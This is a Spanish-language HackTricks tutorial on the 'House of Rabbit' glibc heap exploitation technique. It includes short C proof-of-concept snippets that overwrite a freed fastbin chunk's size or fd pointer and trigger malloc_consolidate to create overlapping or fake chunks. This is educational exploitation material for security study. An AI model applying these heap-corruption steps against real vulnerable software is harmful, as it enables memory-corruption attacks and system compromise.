House of Rabbit

Apoya a HackTricks

Requisitos

  1. Capacidad para modificar el puntero fd o el tamaño de un fastbin: Esto significa que puedes cambiar el puntero forward de un fragmento en el fastbin o su tamaño.

  2. Capacidad para activar malloc_consolidate: Esto se puede hacer ya sea asignando un fragmento grande o fusionando el fragmento superior, lo que obliga al montón a consolidar fragmentos.

Objetivos

  1. Crear fragmentos superpuestos: Para que un fragmento se solape con otro, permitiendo manipulaciones adicionales del montón.

  2. Forjar fragmentos falsos: Para engañar al asignador para que trate un fragmento falso como un fragmento legítimo durante las operaciones del montón.

Pasos del ataque

POC 1: Modificar el tamaño de un fragmento fastbin

Objetivo: Crear un fragmento superpuesto manipulando el tamaño de un fragmento fastbin.

  • Paso 1: Asignar fragmentos

unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40);  // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10);                          // Allocates a small chunk to change the fastbin state
  • Paso 2: Liberar Chunks

free(chunk1);  // Frees the chunk at 0x602000
free(chunk2);  // Frees the chunk at 0x602050
  • Paso 3: Modificar el Tamaño del Chunk

chunk1[-1] = 0xa1;  // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
  • Paso 4: Provocar malloc_consolidate

malloc(0x1000);  // Allocate a large chunk to trigger heap consolidation

Asignar un gran fragmento desencadena la función malloc_consolidate, fusionando fragmentos pequeños en el fast bin. El tamaño manipulado de chunk1 hace que se solape con chunk2.

Después de la consolidación, chunk1 se solapa con chunk2, lo que permite una mayor explotación.

POC 2: Modificar el puntero fd

Objetivo: Crear un fragmento falso manipulando el puntero fd del fast bin.

  • Paso 1: Asignar Fragmentos

unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050

Explicación: Asignamos dos fragmentos, uno más pequeño y otro más grande, para configurar el montón para el fragmento falso.

  • Paso 2: Crear fragmento falso

chunk2[1] = 0x31;  // Fake chunk size 0x30
chunk2[7] = 0x21;  // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk
  • Paso 3: Liberar chunk1

free(chunk1);  // Frees the chunk at 0x602000

Explicación: Liberamos chunk1, añadiéndolo a la lista fastbin.

  • Paso 4: Modificar fd de chunk1

chunk1[0] = 0x602060;  // Modify the fd of chunk1 to point to the fake chunk within chunk2

Explicación: Cambiamos el puntero hacia adelante (fd) de chunk1 para que apunte a nuestro chunk falso dentro de chunk2.

  • Paso 5: Desencadenar malloc_consolidate

malloc(5000);  // Allocate a large chunk to trigger heap consolidation

Asignar un gran fragmento nuevamente desencadena malloc_consolidate, que procesa el fragmento falso.

El fragmento falso se convierte en parte de la lista fastbin, convirtiéndose en un fragmento legítimo para futuras explotaciones.

Resumen

La técnica de la Casa del Conejo implica modificar el tamaño de un fragmento de fast bin para crear fragmentos superpuestos o manipular el puntero fd para crear fragmentos falsos. Esto permite a los atacantes forjar fragmentos legítimos en el montón, lo que habilita diversas formas de explotación. Comprender y practicar estos pasos mejorará tus habilidades de explotación de montón.

Last updated